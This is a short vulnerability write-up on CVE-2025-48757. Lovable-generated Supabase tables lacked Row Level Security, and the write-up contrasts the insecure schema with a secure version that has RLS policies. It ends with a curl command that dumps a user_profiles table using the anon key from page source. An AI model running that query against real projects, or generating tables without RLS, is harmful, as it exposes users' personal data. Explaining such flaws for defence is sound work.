CVE-2025-48757: Lovable Data Exposure

Supabase uses PostgreSQL's Row Level Security feature to control access to database rows. When RLS is enabled on a table, access is denied by default unless a policy explicitly grants it. This is the primary security mechanism for Supabase applications.

Lovable's code generation created tables like this:

-- What Lovable generated (VULNERABLE)
CREATE TABLE user_profiles (
  id UUID DEFAULT gen_random_uuid() PRIMARY KEY,
  user_id UUID REFERENCES auth.users(id),
  email TEXT,
  full_name TEXT,
  phone TEXT,
  created_at TIMESTAMPTZ DEFAULT now()
);

-- RLS was NOT enabled
-- No policies were created
-- Anyone with the anon key could SELECT * FROM user_profiles

The correct implementation should have included:

-- What SHOULD have been generated (SECURE)
ALTER TABLE user_profiles ENABLE ROW LEVEL SECURITY;

CREATE POLICY "Users can view own profile"
  ON user_profiles FOR SELECT
  TO authenticated
  USING ((select auth.uid()) = user_id);

CREATE POLICY "Users can update own profile"
  ON user_profiles FOR UPDATE
  TO authenticated
  USING ((select auth.uid()) = user_id);

Exploiting this vulnerability required no special tools or expertise. An attacker could:

# Simple exploitation — no auth needed
curl 'https://[project].supabase.co/rest/v1/user_profiles?select=*' \
  -H "apikey: [anon-key-from-page-source]" \
  -H "Authorization: Bearer [anon-key-from-page-source]"